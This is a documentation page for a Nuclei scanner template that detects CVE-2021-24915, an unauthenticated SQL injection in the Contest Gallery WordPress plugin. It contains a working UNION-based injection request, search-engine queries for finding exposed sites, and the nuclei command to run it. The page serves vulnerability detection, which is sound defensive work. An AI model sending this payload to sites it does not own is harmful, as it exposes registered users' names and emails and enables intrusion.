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Contest Gallery < 13.1.0.6 - SQL injection

ID: CVE-2021-24915

Severity: critical

Author: r3Y3r53

Tags: cve2021,cve,wordpress,wp-plugin,wpscan,wp,contest-gallery,contest_gallery,sqli

Description

Section titled “Description”

The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24915


info:
  name: Contest Gallery < 13.1.0.6 - SQL injection
  author: r3Y3r53
  severity: critical
  description: |
    The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.
  remediation: Fixed in version 13.1.0.6
  reference:
    - https://wpscan.com/vulnerability/45ee86a7-1497-4c81-98b8-9a8e5b3d4fac
    - https://gist.github.com/tpmiller87/6c05596fe27dd6f69f1aaba4cbb9c917
    - https://wordpress.org/plugins/contest-gallery/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24915
    cwe-id: CWE-89
    epss-score: 0.25422
    epss-percentile: 0.9669
    cpe: cpe:2.3:a:contest_gallery:contest_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contest_gallery
    product: contest_gallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/contest-gallery/
    fofa-query: body=/wp-content/plugins/contest-gallery/
    publicwww-query: "/wp-content/plugins/contest-gallery/"
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,wp,contest-gallery,contest_gallery,sqli


http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        cg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WpUserId'
          - 'Username'
          - 'Usermail'
        condition: and


      - type: word
        part: header
        words:
          - 'text/csv'
          - 'filename='
        condition: and


      - type: status
        status:
          - 200
# digest: 490a004630440220032ea38923971b2663f9b357e67a07e1b50465fd03ac03ce78024e08bc5ced2202200c55e7d7ee787316a9e7ffc1fb8df963a2999daa534c3ac43175239900b1c41e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24915.yaml"

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